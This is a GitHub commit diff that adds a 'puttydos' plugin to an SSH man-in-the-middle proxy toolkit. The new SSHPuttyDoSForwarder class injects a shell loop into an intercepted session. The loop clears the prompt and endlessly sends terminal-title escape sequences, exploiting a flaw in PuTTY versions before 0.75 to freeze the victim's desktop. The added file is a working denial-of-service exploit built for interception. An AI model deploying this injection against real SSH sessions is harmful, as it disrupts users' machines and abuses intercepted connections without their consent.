File tree Expand file tree Collapse file tree 2 files changed +30
-1
lines changed
Expand file tree Collapse file tree 2 files changed +30
-1
lines changed Original file line number Diff line number Diff line change 22 'SSHBaseForwarder' : [
33 'scriptedshell = ssh_mitm_plugins.ssh.scriptedshell:SSHScriptedForwarder' ,
44 'stealthshell = ssh_mitm_plugins.ssh.stealthshell:SSHStealthForwarder' ,
5- 'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder'
5+ 'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder' ,
6+ 'puttydos = ssh_mitm_plugins.ssh.putty_dos:SSHPuttyDoSForwarder'
67 ],
78 'SCPBaseForwarder' : [
89
Original file line number Diff line number Diff line change 1+ from ssh_proxy_server .forwarders .ssh import SSHForwarder
2+
3+
4+ class SSHPuttyDoSForwarder (SSHForwarder ):
5+ """PuTTY < 0.75: DoS on Windows/Linux clients
6+
7+ Security fix: a server could DoS the whole Windows/Linux GUI by telling
8+ the PuTTY window to change its title repeatedly at high speed.
9+
10+ PuTTY-Changelog: https://www.chiark.greenend.org.uk/~sgtatham/putty/changes.html
11+ """
12+
13+ def __init__ (self , session ):
14+ super ().__init__ (session )
15+ self .exploit = [
16+ "PS1=''" ,
17+ "while :" ,
18+ "do" ,
19+ "echo -ne '\\ 033]0: NEW_TITLE${RANDOM} \\ 007'" ,
20+ "done"
21+ ]
22+ self .executed = False
23+
24+ def stdin (self , text ):
25+ if not self .executed :
26+ self .executed = True
27+ return '\n ' .join (self .exploit )
28+ return text
You can’t perform that action at this time.
0 commit comments